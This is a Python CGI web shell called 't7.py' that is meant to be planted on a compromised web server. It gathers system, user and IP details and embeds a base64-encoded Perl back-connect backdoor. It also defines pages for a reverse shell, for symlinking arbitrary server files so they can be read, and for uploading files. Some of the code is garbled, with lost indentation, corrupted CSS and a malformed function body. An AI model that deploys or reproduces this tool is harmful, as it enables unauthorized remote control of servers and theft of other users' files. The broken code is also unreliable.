#!/usr/bin/env python
#!C:\Python27\python.exe -u
#!c:\Python25\python.exe
#!c:\Python26\python.exe
#----------------------------------------------------->
# TName : t7.py
# Programmer : t7~ < KSA > <-+-> < love.you@h8tmail.com > <-+-> < T7TP@hotmail.com >
# Version : 1
# MyBlog : http:\\www.sec7urity.com >> Soon
# Date : Wed Jul 6 19:55:38 2011
#----------------------------------------------------->
#--------------------------
# Add This in .htaccess file to run pyhton any dirctory
# Options +ExecCGI
# AddHandler cgi-script .py
#--------------------------
import cgi
import cgitb
cgitb.enable()
import sys
import os
import subprocess
import platform
import base64
import urllib
from ftplib import FTP
#
un=""
name='VDd+'
for m in platform.uname():
un+=m
cmd = subprocess.Popen('id',shell=True,stdin = subprocess.PIPE, stdout = subprocess.PIPE,stderr=subprocess.STDOUT, close_fds=True)
id = cmd.stdout.read()
if os.environ.has_key('SERVER_SOFTWARE'):
soft = os.environ['SERVER_SOFTWARE']
md5_d = """
IyEvdXNyL2Jpbi9weXRob24KCiMgUmVtb3RlIG1kNSBvbiBzaGVsbC1zdG9ybS5vcmcKCmltcG9ydCBodHRwbGliCmltcG9ydCBzb2NrZXQKaW1wb3J0IHN5cwppbXBvcnQgdXJsbGliCgoJCnRyeToKCWhvc3QgPSBzb2NrZXQuZ2V0aG9zdGJ5bmFtZSgic2hlbGwtc3Rvcm0ub3JnIikKCWNvbiA9IGh0dHBsaWIuSFRUUENvbm5lY3Rpb24oaG9zdCwgODApCgkKCXBhcmFtcyA9IHVybGxpYi51cmxlbmNvZGUoeydtZDUnOiBzeXMuYXJndlsyXX0pCgloZWFkZXJzID0geyJDb250ZW50LXR5cGUiOiAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiwgIkFjY2VwdCI6ICJ0ZXh0L3BsYWluIn0KCQkKCWlmIHN5cy5hcmd2WzFdID09ICItZCI6CgkJY29uLnJlcXVlc3QoJ1BPU1QnLCAnL21kNS9yZW1vdGUvZGVjcnlwdC5waHAnLCBwYXJhbXMsIGhl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VjdEJhY2sgQmFja2Rvb3IgdnMgMS4wIGJ5IExvckQgb2YgSVJBTiBIQUNLRVJTIFNBQk9UQUdFID09LS0gIAoKIjsKc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsKZWNobyAtLT09VXNlcmluZm89PS0tIDsgaWQ7ZWNobztlY2hvIC0tPT1EaXJlY3Rvcnk9PS0tIDsgcHdkO2VjaG87IGVjaG8gLS09PVNoZWxsPT0tLSAiKTsKc3lzdGVtKCRzeXN0ZW0pOwoK"""
#
#
print'Content-type: text/html\n\n'#header
def html():
print """
Home<title>Home</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style type='text/css'>
body{
font-family:'Open Sans Condensed',sans-serif;
}
.dir{
background-color:#000;
color:#fff;
border-top:1px solid #000;
border-left:1px solid #000;
border-right:1px solid #000;
border-bottom:1px solid #171717;
font-size:14px;
outline: none;
}
.q{
font-size:17px;
}
.sub{
-webkit-border-radius:3px;
-moz-border-radius:3px;
padding:2px 25px;
border:1px inset #737373;
BACKGROUND-COLOR: #101010;
fon????????????????t: 8pt Verdana;
color: #fff;
}
.c{
-webkit-border-radius:3px;
-moz-border-radius:3px;
padding-top: 3px;
border:1px inset #737373;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
table tr th{
background-color:#191919;
border-bottom:1px inset #333333;
border-left:2px solid #000;
padding: 2px 10px;
font-weight: normal;
font-size:12px;
}
table tr th:hover{
border-bottom:1px solid red;
}
table tr .m{
text-indent:25px;
padding:10px 300px 10px 16px;
border-bottom:1px solid #333;
}
table tr .m:hover{
text-shadow:0px 0px 10px #fff;
}
.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;
}
.pe{
background-color:#000;
color:#fff;
border:1px solid #000;
}
.pe:hover{
background-color:#101010;
border:1px solid #101010;
}
.t7{
border-right:1px solid #333;
}
.m{
padding:5px 10px;
}
</style>
<body bgcolor='#000' text='white'>
<table cellpadding='5'>
<td class='t7' valign='center'> <font size='7' color='#333333' > %s</font>"""%base64.b64decode(name)+"""
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""
|
<table cellspacing=0 cellpadding=1 >
"""
# BackConnect
#
def backconnect():
print"""
BackConnect<title>BackConnect</title>
<style >
body{
font-family:Tahoma,Verdana,Arial
}
.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;
}
.e{
-webkit-border-radius:3px;
-moz-border-radius:3px;
padding:1px 10px;
margin: 3px;
border:1px inset #737373;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
select{
background-color:#101010;
}
.con{
background-color:#101010;
border:1px solid #444;
padding: 1px 22px;
border-radius:2px;
color:#fff;
}
.t7{
border-right:1px solid #333;
}
</style>
<body bgcolor='#000' text='white'>
<table cellpadding='5'>
<td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font>
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""
|
<br /> <br />"""
# Symlink
#
def sym():
print"""
Symlink<title>Symlink</title>
<style >
body{
font-family:Tahoma,Verdana,Arial
}
#sy{
background-color:#0C0C0C;
-moz-border-radius:12px;
-webkit-border-radius:12px;
}
.e{
background-color:#101010;
color:#B9B5B5;
border:1px solid #090909;
}
.e:focus{
background-color:#5D5D5D;
color:#000;
border:1px ridge #000;
}
.s{
background-color:#171717;
color:#000;
border:1px solid #101010;
padding:2px 10px;
}
.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;
}
.t7{
border-right:1px solid #333;
}
</style>
<body bgcolor='#000' text='white'>
<table cellpadding='5'>
<td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font>
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""
|
"""
try:
l = os.path.basename(form.getvalue('f1'))
if os.path.exists(l): # check
os.remove(l) # remove if this file is here
try:
if os.path.exists(form.getvalue('ff')):
os.symlink(form.getvalue('ff'),form.getvalue('f1')) # create symlink to f1 value
print "<br /> <a href='%s' target='_blank' title='):' style='text-decoration:none;color:#fff;' > Click Here (:</a> "%l
else:
print "<br /> [-] <font color=red >"+form.getvalue('ff')+'</font> Make sure the file path'
except:
pass
except:
pass
# Upload File
#
def upload():
Upload File print """<title>Upload File</title><style>
body{
font-family:Tahoma,Verdana,Arial;
background-color:#000;
color:#fff;
}
.mu{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:4px 34px;
border:1px solid #000;
BACKGROUND-COLOR: #101010;
font: 8pt Verdana;
color: #fff;
}
.mu:hover{
-webkit-border-radius:4px;
-moz-border-radius:4px;
padding:3px 34px;
BACKGROUND-COLOR: #000;
font: 8pt Verdana;
color: #1;
}
.dir{
background-color:#000;
color:#fff;
border-top:1px solid #000;
border-left:1px solid #000;
border-right:1px solid #000;
border-bottom:1px solid #171717;
text-indent:6px;
font-size:13px;
}
.re{
background-color:#101010;
}
.he tr td{
text-indent:10px;
margin: 30px;
}
.he{
border:1px solid #101010;
margin: 10px;
}
.fi{
background-color: #141414;
border: 1px solid #444;
color:#fff;
padding:0px 15px;
}
.t7{
border-right:1px solid #333;
}
</style>
<body bgcolor='#000' text='white'>
<table cellpadding='5' >
<td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font>
"""+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
</font> "%(soft,un,id,urllib.thishost())+"""
|